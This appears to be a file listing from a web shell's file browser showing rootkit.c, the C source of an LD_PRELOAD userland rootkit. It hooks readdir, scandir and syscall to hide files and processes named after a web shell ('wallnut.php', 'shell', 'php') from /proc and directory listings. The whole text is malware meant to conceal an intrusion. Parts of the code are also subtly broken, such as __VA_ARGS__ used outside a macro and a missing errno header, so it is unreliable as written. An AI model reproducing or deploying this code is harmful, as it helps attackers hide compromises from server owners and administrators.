| Current Path : /tmp/ |
| Current File : //tmp/rootkit.c |
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
static const char* hidden_procs[] = {"wallnut.php", "php", "shell", NULL};
long syscall(long number, ...) {
long (*orig_syscall)(long, ...) = dlsym(RTLD_NEXT, "syscall");
if (number == SYS_getdents64 || number == SYS_getdents) {
return -ENOENT;
}
return orig_syscall(number, __VA_ARGS__);
}
struct dirent* readdir(DIR* dirp) {
struct dirent* (*orig_readdir)(DIR*) = dlsym(RTLD_NEXT, "readdir");
struct dirent* dir;
while ((dir = orig_readdir(dirp)) != NULL) {
int hidden = 0;
for (int i = 0; hidden_procs[i] != NULL; i++) {
if (strstr(dir->d_name, hidden_procs[i]) != NULL) {
hidden = 1;
break;
}
}
if (!hidden) return dir;
}
return NULL;
}
int scandir(const char* dir, struct dirent*** namelist,
int (*filter)(const struct dirent*),
int (*compar)(const struct dirent**, const struct dirent**)) {
int (*orig_scandir)(const char*, struct dirent***,
int (*)(const struct dirent*),
int (*)(const struct dirent**, const struct dirent**)) = dlsym(RTLD_NEXT, "scandir");
int ret = orig_scandir(dir, namelist, filter, compar);
if (ret > 0 && strstr(dir, "/proc") != NULL) {
int new_ret = 0;
for (int i = 0; i < ret; i++) {
int hidden = 0;
for (int j = 0; hidden_procs[j] != NULL; j++) {
if (strstr((*namelist)[i]->d_name, hidden_procs[j]) != NULL) {
hidden = 1;
break;
}
}
if (!hidden) {
(*namelist)[new_ret++] = (*namelist)[i];
}
}
ret = new_ret;
}
return ret;
}